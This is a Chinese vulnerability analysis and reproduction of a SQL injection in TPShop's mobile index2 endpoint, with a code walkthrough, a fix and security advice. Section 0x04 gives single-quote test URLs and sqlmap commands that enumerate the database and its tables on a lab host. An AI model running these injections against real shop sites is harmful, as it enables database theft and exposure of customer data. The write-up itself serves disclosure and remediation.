某Shop前台SQL注入
字数 730 2025-08-26 22:11:28
TPShop前台SQL注入漏洞分析与复现
0x01 漏洞概述
TPShop(ThinkPHP shop)是由深圳搜豹网络有限公司开发的一套多商家模式的商城系统,支持PC、IOS客户端、Android客户端和微商城。该系统基于ThinkPHP MVC架构开发,具有模块化架构体系和丰富的功能。
本漏洞存在于TPShop的前台部分,由于对用户输入参数未进行充分过滤,导致SQL注入漏洞的产生。
0x02 漏洞定位
漏洞位于文件路径:/Application/mobile/Controller/Index.php中的index2方法
关键代码分析:
66 Line: 获取用户从get输入的参数id的值并赋值给$id
67 Line: 获取用户从get输入的参数role的值并赋值给$role
69 Line: 判断$role是否为真
70 Line: 将$id拼接到where语句中
73 Line: 判断$id是否为真
75 Line: 将$id拼接到where语句中
0x03 漏洞原理
- 系统通过
I('get.id')获取用户输入的id参数 - 该参数未经充分过滤直接拼接到SQL查询的WHERE子句中
- 攻击者可以通过构造恶意的
id参数实现SQL注入
0x04 漏洞验证
基础验证
http://localhost:8084/mobile/index/index2/id/1
http://localhost:8084/mobile/index/index2/id/1'
当输入单引号时,如果系统返回SQL错误,则证明存在SQL注入漏洞。
使用sqlmap自动化验证
- 检测漏洞是否存在:
sqlmap -u "http://172.16.209.129:8084/mobile/index/index2/id/1*" --random-agent --batch --dbms "mysql"
- 获取当前数据库:
sqlmap -u "http://172.16.209.129:8084/mobile/index/index2/id/1*" --random-agent --batch --dbms "mysql" --current-db
- 获取指定数据库的表:
sqlmap -u "http://172.16.209.129:8084/mobile/index/index2/id/1*" --random-agent --batch --dbms "mysql" -D tpshop3.0 --tables
0x05 漏洞修复方案
将I('get.id')改为I('get.id/d'),其中/d表示强制转换为整数类型,可以有效防止SQL注入。
修复代码示例:
$id = I('get.id/d'); // 强制转换为整数
0x06 安全建议
- 对所有用户输入进行严格的类型检查和过滤
- 使用参数化查询或预处理语句
- 遵循最小权限原则,数据库连接使用低权限账户
- 定期进行安全审计和代码审查
- 及时更新系统和框架到最新版本
0x07 总结
该漏洞是典型的SQL注入漏洞,由于未对用户输入进行充分过滤导致。开发人员应提高安全意识,对所有用户输入进行严格验证,避免直接将用户输入拼接到SQL语句中。